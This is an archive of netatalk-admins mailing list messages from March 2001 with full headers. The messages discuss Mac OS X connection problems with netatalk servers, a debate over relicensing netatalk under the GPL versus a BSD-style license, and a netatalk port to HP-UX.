things which were forgiven in the past no longer are?

On Tuesday, March 27, 2001, at 10:26 AM, Jason Quigley wrote:

> I don't know if anybody else has been testing this combo recently. I 
> tested with the public beta and had no success copying or moving files. 
> Now, it appears to have gone from bad to worse, I cannot even connect 
> to the server. It connection "unexpectedly" closed. The second time I 
> tried connecting, I had a kernel panic (not me personally, though 
> close :-)

From netatalk.administrators-errors@umich.edu  Tue Mar 27 23:43:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA25872
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 23:43:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA18776
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 23:43:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA18761
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 23:43:52 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA18741
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 23:43:50 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14i7nB-000P0v-00; Tue, 27 Mar 2001 21:42:46 -0700
Date: Tue, 27 Mar 2001 23:35:25 -0500
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Jason Quigley <jasonq@mac.com>
cc: netatalk-admins@umich.edu
Subject: Re: Mac OS X and netatalk...
Message-ID: <2188614434.985736125@[192.168.99.123]>
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Well, I have had no problem connecting to a netatalk1.4+asun on FreeBSD 
system from two different MacOSX boxes and my Mac OS X machines are faster 
than the Public Beta, and I am using it for real work, both development and 
text writing as well as other sorts of work.

I did have one problem with OS X and netatalk but I don't know what the 
real issue is.  I used OS X to copy an OS 9 application and support files 
from an HSF+ disk on the Mac to the netatalk server described above and 
thej went to an OS 9 box to try to run the app of the netatalk volume but 
it gave an error -39 every time I tried to run the app by double clicking 
it.  I erased it off the netatalk and rebooted the OS X machine into OS 9 
and copied it over and then went to the other machine and it ran fine.  But 
in general the netatalk volume behaves exactly the same to both OS X and OS 
9 machines.

Chad

--On Tuesday, March 27, 2001 8:26 PM +0200 Jason Quigley <jasonq@mac.com> 
wrote:

> I don't know if anybody else has been testing this combo recently. I
> tested with the public beta and had no success copying or moving files.
> Now, it appears to have gone from bad to worse, I cannot even connect to
> the server. It connection "unexpectedly" closed. The second time I tried
> connecting, I had a kernel panic (not me personally, though close :-)
>
> Apple still has a way to go to get this up and running, so if you're
> planning on buying public beta 2, don't bother for a while. I hope not
> too many people have invested money in this yet.
>
> BTW - It's still as slow as the PB too, if not slower. All those reports
> you've read on the web are rubbish. I think it's just geeks playing with
> techie things as opposed to using it in the real world.
>
> Cheers,
> Jason.
>





From netatalk.administrators-errors@umich.edu  Wed Mar 28 00:20:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA26778
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 00:20:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA09498
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 00:20:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA09487
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 00:20:12 -0500 (EST)
Received: from zul.wakawaka.com (zul.wakawaka.com [205.219.70.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA09333
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 00:20:07 -0500 (EST)
Received: from bugs.wakawaka.com (bugs.wakawaka.com [192.148.188.8])
	by zul.wakawaka.com (8.8.8/8.8.5) with ESMTP id VAA03008;
	Tue, 27 Mar 2001 21:20:06 -0800 (PST)
Received: (from paul@localhost)
	by bugs.wakawaka.com (8.8.8/8.8.5) id VAA24403;
	Tue, 27 Mar 2001 21:19:31 -0800 (PST)
Message-Id: <200103280519.VAA24403@bugs.wakawaka.com>
From: paul@wakawaka.com (Paul Sander)
Date: Tue, 27 Mar 2001 21:19:30 -0800
In-Reply-To: <B6E668D3.13182%bucky@interaccess.com>
X-Mailer: Mail User's Shell (7.2.6 beta(4)+dynamic 03/19/98)
To: bucky@interaccess.com, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
Subject: Re: Another reason to go GPL

I must agree with Bucky's statement below.  As a developer of free software, I
have a strong distaste for the type of facism that the Gnu project markets
in the name of freedom to redistribute software in a cooperative community.
My experience with certain Gnu projects has also been that they tend to be
unresponsive about making much-needed changes, including bug fixes, even when
they're given patches to the latest public releases.

I've contributed to some Gnu code, but I prefer to I donate to the public
domain in hopes that my stuff will be useful to someone out there, regardless
of whether or not I'm credited or compensated; I've even turned down offers
of donations for my efforts.  But BSD-style licensing is just as palatable to
me.

People who understand the locking protocols can reimplement the code as
needed; aside from laziness (which is indeed a compelling reason), there's
little to be gained from using someone else's code and living with their
license requirements.  Gnu licenses are more restrictive than BSD; if the
Gnu people like BSD code, they can redistribute it with the proper credits.

--- Forwarded mail from bucky@interaccess.com

I don't understand how that can work. The GPL, once adopted, establishes a
form of compulsion -- it does not allow what you've described. Suppose code
from another GPL project is incorporated: the presence of that code prevents
netatalk in its entirety from ever being used in a BSD-licensed context
without replacing that code. That's how the GPL works. In the long run, it
permanently prevents BSD-style freedoms such as using the code in a
proprietary release. The code would be balkanized into separate licenses.
The licenses don't coexist by covering the whole project.

A company who makes such a release would have quite a bit invested in its
relationship with the community that developed the base code. Observe Apple
and the FreeBSD crowd.

GPL effectively eliminates ownership through progressively entangling
obligations on the part of the coders. BSD provides a form of shared
ownership, in which the codebase may be forked freely as needed and
participating developers each retain full discretion regarding the
disposition of their work -- public or private.

I have not developed a stitch of netatalk. So this is not my decision. But
thank you for hearing me out.

--- End of forwarded message from bucky@interaccess.com


From netatalk.administrators-errors@umich.edu  Wed Mar 28 00:32:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA27100
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 00:32:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17237
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 00:32:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17220
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 00:32:00 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA17153
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 00:31:57 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id PAA28178;
	Wed, 28 Mar 2001 15:31:49 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3AC187A0.538D7FB7@arts.usyd.edu.au>
Date: Wed, 28 Mar 2001 16:41:36 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
CC: netatalk-admins@umich.edu
Subject: Re: Another reason to go GPL
References: <B6E637BA.13156%bucky@interaccess.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD480D0F419591489300A120C"

This is a cryptographically signed message in MIME format.

--------------msD480D0F419591489300A120C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Bruce A. Burdick, Jr." wrote:
> 
> A reason not to go GPL: companies will be less likely to assist with
> development if they can't release their own version without being
> _compelled_ to give away everything they've done on it.
> 
> Perhaps Samba should consider the BSD license.
> 
> GPL: please don't.

 One of the samba team posted a counter to that in the samba list this
morning - GPL stops people from enhancing their own version and
withholding it from the community. The Samba team have VERY strong views
on the matter. If you enchance samba , they want to be able to use it in
the public releases.
 He in particular mentioned why they thought the BSD licence was not
suitable for their work.


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msD480D0F419591489300A120C
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMzI4MDY0MTM4WjAjBgkq
hkiG9w0BCQQxFgQUjBFxbly+9FKkcyXgr33dcQXTowgwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYCZZiEOPhY0C36eLdGzhbpgHcycNkKF+wF2agCZzCUil3VJR6JLEIyUglfT7xsbQEehy/uA
WsOCWdqhtPtPM9kxT6kj18FobohRqhPDRG+fWS6nLLMyrWLCEtcY26brBizB7AycEmMjbBsz
lBLCYw6MxRHus+RG4c2Dq7OgyPvDvQ==
--------------msD480D0F419591489300A120C--


From netatalk.administrators-errors@umich.edu  Wed Mar 28 00:49:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA27647
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 00:49:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA01641
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 00:49:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA01632
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 00:49:25 -0500 (EST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA01618
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 00:49:24 -0500 (EST)
Received: from hsmtv32a.SFBay.Sun.COM ([129.145.122.36])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA05926;
	Tue, 27 Mar 2001 21:49:23 -0800 (PST)
Received: from asun.cobalt.com (natbox [129.145.120.47])
	by hsmtv32a.SFBay.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA17712;
	Tue, 27 Mar 2001 21:49:22 -0800 (PST)
Received: (from asun@localhost)
	by asun.cobalt.com (8.9.3/8.9.3) id VAA05026;
	Tue, 27 Mar 2001 21:49:22 -0800
Date: Tue, 27 Mar 2001 21:49:22 -0800
Message-Id: <200103280549.VAA05026@asun.cobalt.com>
From: a sun <a.sun@sun.com>
To: morgan@orst.edu
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-reply-to: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
	(message from andrew morgan on Tue, 27 Mar 2001 09:55:37 -0800 (PST))
Subject: Re: [Netatalk-devel] Another reason to go GPL
References:  <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>

   Here's another reason we should go GPL with netatalk.  Samba has a piece
   of code which does quotas on Veritas File Systems which I need to use at
   our site.  Same problem as the file locking code though.  We can't take
   GPL code and place it in netatalk without releasing netatalk as GPL.

umm, it really isn't the same problem. veritas has an api for querying
quota information. netatalk has a single file that deals with
specifics on quota info. if using the standard quota interface doesn't
work with veritas, writing a bit of code to interface with veritas'
api shouldn't be a hard task. you can even use the gpl code as a
reference for the veritas api, and it won't cause any problems.

the issue with the samba locking code is very different as they don't
provide standard api's that we can call without becoming
GPL-encumbered. that's their decision. of course, we could always
re-implement the samba locking scheme ourselves, but that would be a
lot of duplication of effort to avoid a license change.

in this debate on gpl, i think we need to distinguish between aspects
that a license change would clearly help (integrating samba locking)
from those that probably should be left to re-implementation (quota
details). what i don't want to see is the inclusion of code just
because it happens to have a compatible license. 

-a

From netatalk.administrators-errors@umich.edu  Wed Mar 28 01:14:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA28250
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 01:14:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00363
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 01:14:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00340
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 01:14:22 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA00281
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 01:14:21 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id f2S6ELE06624;
	Wed, 28 Mar 2001 08:14:21 +0200
From: Volker Birk <vb@kanguruh.ebios.de>
Date: Wed, 28 Mar 2001 08:14:20 +0200
To: "Frank Morton" <fmorton@base2inc.com>
Cc: <netatalk-admins@umich.edu>, "Volker Birk" <vb@kanguruh.ebios.de>
Subject: Re: OPI Server ready
Message-ID: <20010328081420.C5226@ebios.de>
References: <20010205181719.A22795@ebios.de> <00bf01c0b72a$7db70630$8455e5ce@edison>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.3.13i
In-Reply-To: <00bf01c0b72a$7db70630$8455e5ce@edison>; from fmorton@base2inc.com on Tue, Mar 27, 2001 at 08:57:48PM -0500

On Tue, Mar 27, 2001 at 08:57:48PM -0500, Frank Morton wrote:
> Also, Volker Birk, can you give us an update on what  you know
> about people using it, continuing development, etc.

I don't know anything about users but the ones we have here as our
clients.

Further developement is garanteed - we also do a commercial edition,
like sendmail, with nice point-and-click interface. So even if nobody
else will help we will develop.

Now we are doing a Netatalk port to HP UX (Benjamin's speech: HP SUX ;-)

Benni is porting. The AFP over IP already runs, some problems with the
ressource forks left until now. And going on.

VB.
-- 
*** ebios Informationssysteme, Germany      ***  kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***  kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***  Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***  kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Wed Mar 28 02:11:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA29251
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 02:11:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA20308
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 02:11:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA20287
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 02:11:09 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA20266
	for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 02:11:08 -0500 (EST)
Received: by smtpout.mac.com; Tue, 27 Mar 2001 23:09:28 -0800 (PST)
Message-Id: <200103280709.XAA02601@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAWBVS00.P22 for <Netatalk-Admins@umich.edu>; Tue, 27 Mar
          2001 23:09:28 -0800 
Received: from localhost ([213.97.106.73]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAWBVR00.VGQ;
          Tue, 27 Mar 2001 23:09:27 -0800 
Date: Wed, 28 Mar 2001 09:09:24 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Mac OS X and netatalk...
Cc: Netatalk-Admins@umich.edu
To: Marcus Radich <marcus@darena.co.nz>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <p05100900b6e6b0e6df42@[192.168.1.112]>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

Hi Marcus!

I tried your suggestion about the -DFLOCKS with 
netatalk-1.4.99-0.20001108 but I don't think that it is related to the 
problem, at least not on a FreeBSD system, as I get the same results 
when connecting:

afpd[37429]: dsi_stream_read(0): Operation not supported

The 0 is the length of data returned which causes the code to return the 
error. Why, I don't know.

Any ideas?

Thanks,
Jason.

On Tuesday, March 27, 2001, at 11:12  pm, Marcus Radich wrote:

>
> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as long 
> as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile before 
> you compile. I haven't tried 1.5. You can only connect via IP (great!) 
> and transferring files large and small has worked for me since 4K46
>
> mrad01

From netatalk.administrators-errors@umich.edu  Wed Mar 28 09:02:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07125
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 09:02:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 09:02:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20285
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 09:02:29 -0500 (EST)
Received: from missioncriticallinux.com (mail.missioncriticallinux.com [208.51.139.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA20208
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 09:02:25 -0500 (EST)
Received: from localhost.localdomain (smith.lowell.mclinux.com [10.1.8.64])
	by missioncriticallinux.com (8.9.3/8.9.3) with ESMTP id JAA28438;
	Wed, 28 Mar 2001 09:01:46 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=missioncriticallinux.com)
	by localhost.localdomain with esmtp (Exim 3.20 #1 (Debian))
	id 14iGXg-0000GZ-00; Wed, 28 Mar 2001 09:03:20 -0500
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
To: paul@wakawaka.com (Paul Sander)
cc: bucky@interaccess.com, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
Subject: Re: Another reason to go GPL 
In-Reply-To: Message from paul@wakawaka.com (Paul Sander) 
   of "Tue, 27 Mar 2001 21:19:30 PST." <200103280519.VAA24403@bugs.wakawaka.com> 
References: <200103280519.VAA24403@bugs.wakawaka.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 28 Mar 2001 09:03:19 -0500
From: Jeffry Smith <smith@missioncriticallinux.com>
Message-Id: <E14iGXg-0000GZ-00@localhost.localdomain>

Paul Sander said:

> I must agree with Bucky's statement below.  As a developer of free software, I
> have a strong distaste for the type of facism that the Gnu project markets
> in the name of freedom to redistribute software in a cooperative community.
> My experience with certain Gnu projects has also been that they tend to be
> unresponsive about making much-needed changes, including bug fixes, even when
> they're given patches to the latest public releases.
> 

Be aware that GNU/FSF != GPL.  Linux is under a GPL license, but the code is NOT GNU controlled.  Samba is under the GPL, but is NOT GNU controlled.  GPL does NOT require any loss of copyright control to the FSF, unless you specifically grant them the rights (which they require for GNU projects).

jeff


From netatalk.administrators-errors@umich.edu  Wed Mar 28 09:43:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA08087
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 09:43:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11044
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 09:43:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11002
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 09:43:45 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA10946
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 09:43:43 -0500 (EST)
Received: (qmail 10785 invoked by alias); 28 Mar 2001 14:43:56 -0000
Received: (qmail 10762 invoked by uid 0); 28 Mar 2001 14:43:55 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 28 Mar 2001 14:43:55 -0000
Date: Wed, 28 Mar 2001 09:43:46 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: Jeffry Smith <smith@missioncriticallinux.com>
Cc: Paul Sander <paul@wakawaka.com>, bucky@interaccess.com,
        netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Another reason to go GPL
Message-ID: <20010328094346.E2675@comp10574.potsdam.edu>
References: <200103280519.VAA24403@bugs.wakawaka.com> <E14iGXg-0000GZ-00@localhost.localdomain>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <E14iGXg-0000GZ-00@localhost.localdomain>; from smith@missioncriticallinux.com on Wed, Mar 28, 2001 at 09:03:19 -0500
X-Mailer: Balsa 1.1.2
Lines: 24


On 2001.03.28 09:03:19 -0500 Jeffry Smith wrote:
> Be aware that GNU/FSF != GPL.  Linux is under a GPL license, but the code
> is NOT GNU controlled.  Samba is under the GPL, but is NOT GNU
> controlled.  GPL does NOT require any loss of copyright control to the
> FSF, unless you specifically grant them the rights (which they require
> for GNU projects).

	To further reinforce this- GPL does NOT stand for GNU Public
License, it stands for General Public License. As stated previously, the
attitude of the project maintainers, does is not because of which license
they use. I've tried to sumbit patches to a lot of BSD-esque license
projects- Some of them get accepted, some of them don't (same with GPL
licensed, Mozilla licensed, etc.). Every *project* is unique, and has
nothing to do with the underlying license.

-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Mar 28 11:11:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
